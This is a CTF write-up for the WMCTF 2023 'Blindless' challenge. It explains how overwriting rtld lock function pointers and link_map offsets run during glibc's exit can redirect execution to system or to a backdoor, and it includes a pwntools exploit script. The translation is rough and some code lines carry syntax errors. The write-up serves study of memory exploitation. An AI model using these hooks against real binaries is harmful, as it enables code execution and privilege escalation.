Memory Exploitation: Late Blindless and Inescapable Exit Vulnerabilities

0x01 Preface

In the field of computer security, the danger of a vulnerability is often closely related to its breadth and potential attack methods. Today we’ll take a deep dive into an incredibly dangerous vulnerability that exists in a common function called “exit” that is executed when a program exits. Whether in the operating system or application, “exit” is a ubiquitous function, usually used to exit the program gracefully. But this ubiquity also makes it a potential target.

The threat of this vulnerability is that it not only exists in various programs, but also has multiple potential attack methods. An attacker can exploit this vulnerability to execute malicious code, gain system privileges, or perform other malicious actions. To understand the threat of this vulnerability, we need to deeply analyze the principles behind it and the different ways to exploit it.

In this article, we will explore the specifics of this vulnerability and analyze in detail the two main ways of exploitation: one is to redirect the program flow to a function in the libc library, and the other is to redirect the program flow to a code segment in the program itself . We’ll delve into the mechanics of both attacks and show an example of a real-life exploit.

“Blindless” is a topic from the WMCTF 2023 competition. Although it is not difficult, it takes a lot of time to deeply understand and exploit the vulnerabilities. This article summarizes the utilization methods of “exit_hook2libc” and “exit_hook2elf”, aiming to share them with everyone. The key to this question is to have a deep understanding of the “exit” function that is executed when the program exits, and how to exploit the vulnerability in different ways.

0x02 n postures of exit_hook

Picture

The base address is placed here for your reference and is used to calculate the instruction offset.

exit_hook2libc

The first is p &_rtld_global (see address). It has elements of rtld_lock_default_lock_recursive and rtld_lock_default_unlock_recursive that can be changed to call.

Note that you must use docker or a virtual machine, otherwise you will be in jail if you don’t have a symbol table!

Execute p _rtld_global. See those two rtld_lock_default_lock_recursive and rtld_lock_default_unlock_recursive, they are the two. We can modify their contents and call them as exithook (direct call). Copy the following stuff over p & amp;xxx to view its address.

Picture

Note that this program is called Xiaoshuai. The first parameter he calls is rdi, which is _rtld_global + 2312. We can control its parameter as /bin/sh\x00Then do bad things (if you can change rtld_lock_default_lock_recursive to system).

Picture

Then the parameter of rtld_lock_default_unlock_recursive is also the offset of 2312.

Note that 2312 is decimal.

Picture

Okay, we can do whatever we want by modifying these two places, but exit_hook is not finished here.

And strictly speaking, this is not completely exit_hook2libc. If you know the address of elf, you can completely return to the function on elf.

Next, there is something even more exciting, you can control the address on the program (direct jump, or indirect address jump.)

exit_hook2elf

1.Indirect call

Here, the first one is an indirect call, that is, the instruction is call qword ptr [register], which means to get the address from the memory pointed to by the address of the register, and then call.

For the utilization of indirect call, we can modify its offset to any function got table, and then use it with the parameter rdi_rtld_global + 2312.

For example, modify _rtld_global + 2312 to “/bin/sh\x00”

Picture

The base address and offset of this exist in link_map, so that its address can be found.

Picture

Debugging can see that he will get the elf base address from the memory at this address, and then get the offset from the address stored in link_map address + 0x110. We can change the base address or choose to change the offset. The link_map address + 0x110 stores the offset of the first indirect call.

Note that the address stored is offset -8, that is, if you want to change it, you need to change it to target -8.

Picture

2. Call directly

link_map address + 0xa8 is the offset where the second direct call is stored

Note that the address stored is offset -8, that is, if you want to change it, you need to change it to target -8.

Picture

If you change the offset, it will be the best, and it can also directly form a call chain. But if there is no offset, the only way to change the base address is where p & amp;l comes out. But this will definitely damage the first call r14 and cause it to fail to proceed normally.

But I found that there is a place to judge that call r14 can be skipped.

Picture

Right here, test edx,edx means edx and edx are ANDed with each other, leaving the flag bit. To put it simply, if it is 0, then there will be no jump. If it is 1, then jump.

In x86 assembly, the role of the je instruction is:

  1. 1. Check whether the zero flag (ZF) is set to 1.

  2. 2. If the zero flag is set to 1, a jump to the specified target location will be made.

Backtracking found that the address was taken from link_map + 0x120. That is to say, if you want it to be 0 here, just point the address there to the place where it is 0! However, it should also be noted that the address + 8 is taken here, which means we need to change it to the target address -8 for improvement. Just look for the bss section and the like here.

Picture

After completing this operation, you can modify the base address to achieve the effect of any direct call! Even if there is no leakage, you can return directly to the program (for example, there is a backdoor in this question). If so, then you can do whatever you want! (Same as before, if there is a leak, you really can do whatever you want).

0x03 exp

Well, since this question has a brainfuck function that can execute writing at any address, privileges can be escalated based on the previous exit_hook.

from pwn import *


n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

while True:

        context(os='linux', arch='amd64', log_level='debug')
        p = process('./main')
        context.terminal = ['tmux','new-window' ,'-n','-c']
        #gdb.attach(p)
        sla('ze',b'-10')#Assign to libc (use mmap)
        sla('ze',b'256')

        pay = b'@' + p32(2148618432)#Address to ld + offset of 0x2f190
        pay + = b'@' + p32(2148618432)
        pay + =b'.' + b'\xb1'
        pay + = b'>.' + b'\x7c'# so that after adding the offset, it is the backdoor function address
        pay + = b'@' + p32(0x11f)#Modify the address of 0x120 to point to 0 and skip call r14
        pay + =b'.' + b'\x00'
        pay + = b'q'
        sla('code\
',pay)

        re = p.recvrepeat(0.1)#Keep receiving until there is an echo
        #If it is system, you can send a cat flag and then do this
        #This is a good way to blast, learn and learn
        if re:
            print('pwned!get your flag here:',re)
            exit(0)
        p.close()

Picture